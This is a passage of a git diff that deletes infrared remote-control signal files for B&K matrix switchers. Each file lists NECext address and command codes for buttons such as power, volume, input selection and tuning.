-command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 18 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 1B 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 30 00 00 00 -# -name: NEW_CODE -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 4A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir deleted file mode 100644 index 044de1ee4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 1B 00 00 00 -# -name: TIUNE_+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 1C 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 4B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 4B 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 4B 00 00 00 -# -name: D-_IN -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 6E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 76 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 8E 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: C6 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 8F 07 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir deleted file mode 100644 index 3f8fa0377..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 76 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 0F 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir deleted file mode 100644 index 8a9f57f83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 02 00 00 00 -# -name: MUTER -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 1C 00 00 00 -# -name: CURSORLEFT -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 2F 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 3F 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 4A 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 5A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 7D 00 00 00 -# -name: AMFM -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 8E 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 9F 06 00 00 -command: A2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir deleted file mode 100644 index f93146031..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 3E 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 5A 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: A7 85 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir deleted file mode 100644 index be9fcd3a8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 24 00 00 00 -# -name: +_10 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 2F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 40 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 4A 00 00 00 -# -name: PRE_+ -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 4B 00 00 00 -# -name: D_-_IN -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AC 35 00 00 -command: 8E 00 00 00 -# -name: PRE_- -type: parsed -protocol: NECext -address: AC 35 00 00 -command: C6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir deleted file mode 100644 index 9c7ddbe47..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 0F 00 00 00 -# -name: STATION_- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 17 00 00 00 -# -name: STATION_+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 1C 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B7 84 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B7 84 00 